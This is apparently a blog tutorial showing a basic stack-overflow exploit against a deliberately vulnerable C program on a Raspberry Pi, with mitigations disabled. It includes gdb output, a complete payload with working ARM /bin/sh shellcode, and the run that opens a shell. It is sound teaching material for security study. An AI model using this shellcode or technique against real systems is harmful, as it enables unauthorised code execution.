ARM Exploitation with Raspberry Pi: Basic Stack Overflow
In this post, we will exploit a vulnerable C
program using basic Stack Overflow
attack. Before starting reading this post you should read this post first:
Example C
Code
We will use the following code that uses a vulnerable function strcpy()
function that does not check the limit of the content to be copied.
Therefore, we can overflow the whole buffer and exploit the program by putting our shellcode there and calling it to be executed.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Function to test overflow
void IShouldNeverBeCalled() {
puts("I should never be called");
exit(0);
}
// This is our vulnerable function
void vulnerable(char *arg) {
char buff[100];
// to print return address
printf("%p\n",&buff[0]);
strcpy(buff, arg);
}
// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
vulnerable(argv[1]);
return 0;
}
Compilation
Assuming you have already disabled the ASLR, let’s compile the code now:
$ gcc -fno-stack-protector -z execstack overflow.c -o overflow
Here we have disabled the stack protection (-fno-stack-protector
) and enabled execution (-z execstack
) within the stack.
Debugging with gdb
Now, let’s debug the code using gdb
:
$ gdb -q ./overflow
Now, if we disassemble the main function, we will see an example disassembled code like below one:
gef➤ disass main
Dump of assembler code for function main:
0x000104e4 <+0>: push {r11, lr}
0x000104e8 <+4>: add r11, sp, #4
0x000104ec <+8>: sub sp, sp, #8
0x000104f0 <+12>: str r0, [r11, #-8]
0x000104f4 <+16>: str r1, [r11, #-12]
0x000104f8 <+20>: ldr r3, [r11, #-12]
0x000104fc <+24>: add r3, r3, #4
0x00010500 <+28>: ldr r3, [r3]
0x00010504 <+32>: mov r0, r3
0x00010508 <+36>: bl 0x104b8 <vulnerable>
0x0001050c <+40>: mov r3, #0
0x00010510 <+44>: mov r0, r3
0x00010514 <+48>: sub sp, r11, #4
0x00010518 <+52>: pop {r11, pc}
End of assembler dump.
Now, let’s put a breakpoint at address 0x0001050c
and run the program:
gef➤ b *0x0001050c
Breakpoint 1 at 0x1050c
As the buffer size is 100, the return address will be after 104th character. Now, let’s put 104 character in total to overflow the buffer. Therefore, we find the following error:
gef➤ run $(python -c 'print "A"*100+"BBBB"')
Starting program: /home/pi/remote_attestation/vulnerability_test/vuln_testbed/code/test@Roy/buf $(python -c 'print "A"*100+"BBBB"')
Program received signal SIGSEGV, Segmentation fault.
Because, we will use a NOP sled
first, we need to know any starting address that points back to the NOP sled of the buffer. NOP stands for No Operation
and it can be any harmless instruction or random binary. Therefore, we can look into the addresses following the instruction provided below:
gef➤ x/100x $sp-200
0x7efff3d8: 0x7efff49c 0x76fde10c 0x76ff97c8 0x00000001
0x7efff3e8: 0x00000001 0x00000000 0x00000000 0x76e7d224
0x7efff3f8: 0x0001051c 0x00000000 0x00010374 0x00000000
0x7efff408: 0x00000000 0x76fe5320 0x7efff434 0x7efff77c
0x7efff418: 0x0001051c 0x00000000 0x00010374 0x00000000
0x7efff428: 0x7efff598 0x7efff77c 0x00000000 0x41414141
0x7efff438: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff448: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff458: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff468: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff478: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff488: 0x41414141 0x41414141 0x41414141 0x41414141
0x7efff498: 0x42424242 0x00010500 0x7efff604 0x00000002
0x7efff4a8: 0x00000000 0x76e8f678 0x76fb4000 0x7efff604
0x7efff4b8: 0x00000002 0x000104e4 0x76ffecf0 0x7efff550
0x7efff4c8: 0xed78f5ef 0xe56ff76b 0x0001051c 0x00000000
0x7efff4d8: 0x00010374 0x00000000 0x00000000 0x00000000
0x7efff4e8: 0x76fff000 0x00000000 0x00000000 0x00000000
0x7efff4f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7efff508: 0x00000000 0x00000000 0x00000000 0x00000000
0x7efff518: 0x00000000 0x00000000 0x00000000 0x00000000
0x7efff528: 0x00000000 0x00000000 0x00000001 0x00000001
0x7efff538: 0x00001000 0x76fd89f8 0x00000000 0x7efff604
0x7efff548: 0x76fffb18 0x76fff960 0xffffffff 0x76fff000
0x7efff558: 0x76e85024 0x76ff94b0 0x7efff598 0x00000000
Now, let’s target the address 0x7efff448
. We will use this address as the return address so that after copying the contents to the buffer, the return address points back to the NOP sled.
Now, let’s exploit the program with our NOP sled, shellcode, and the return address. The payload looks like as follows:
payload = NOP sled + shellcode + return address
where,
NOP sled = "\xe1\xa0\x10\x01" (MOV R1, R1)
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"
return address = "\x48\xf4\xff\x7e"
Note that we will have to put the instructions and the address from the opposite order (Little Endian). Except, here the shellcode already is in that format.
Now, let’s use the payload for exploitation:
gef➤ run $(python -c 'print "\x01\x10\xa0\xe1"*17+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"+"AAAA"+"\x48\xf4\xff\x7e"')
Starting program: /home/pi/remote_attestation/vulnerability_test/vuln_testbed/code/test@Roy/buf $(python -c 'print "\x01\x10\xa0\xe1"*17+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"+"AAAA"+"\x48\xf4\xff\x7e"')
process 6637 is executing new program: /bin/dash
$ pwd
/home/pi/remote_attestation/vulnerability_test/vuln_testbed/code/test@Roy
$
So, we see, we have received the expected shell after running the command.
Here, the complete string looks like as follows:
\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58AAAA\x48\xf4\xff\x7e
Run in terminal
Now, let’s exploit the program outside the debugger.
pi@raspberry:~$ ./overflow $(python -c 'print "\x01\x10\xa0\xe1"*17+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62\x69\x6e\x2f\x73\x68\x58"+"AAAA"+"\x48\xf4\xff\x7e"')
$
One thing you should rember is the return address usually changes outside the debugger because gdb
loads environment variable in a different way.
So, use this line in your program to print the start address of the buffer first, then use the address as little endian.
// to print return address
printf("%p\n",&buff[0]);
You can also read my other posts related to Raspberry Pi
:
-
How to fix the Ubuntu Black Screen Issue in a Raspberry Pi after Installation
-
Set Up Headless Kali Linux in a Raspberry Pi 4 without Monitor, Keyboard, and Mouse
-
ARM Exploitation with Raspberry Pi: Return Back to Program without Crashing
-
How to Configure a Raspberry Pi as an OpenFlow Switch: Steps, Issues, and Solutions
Leave a comment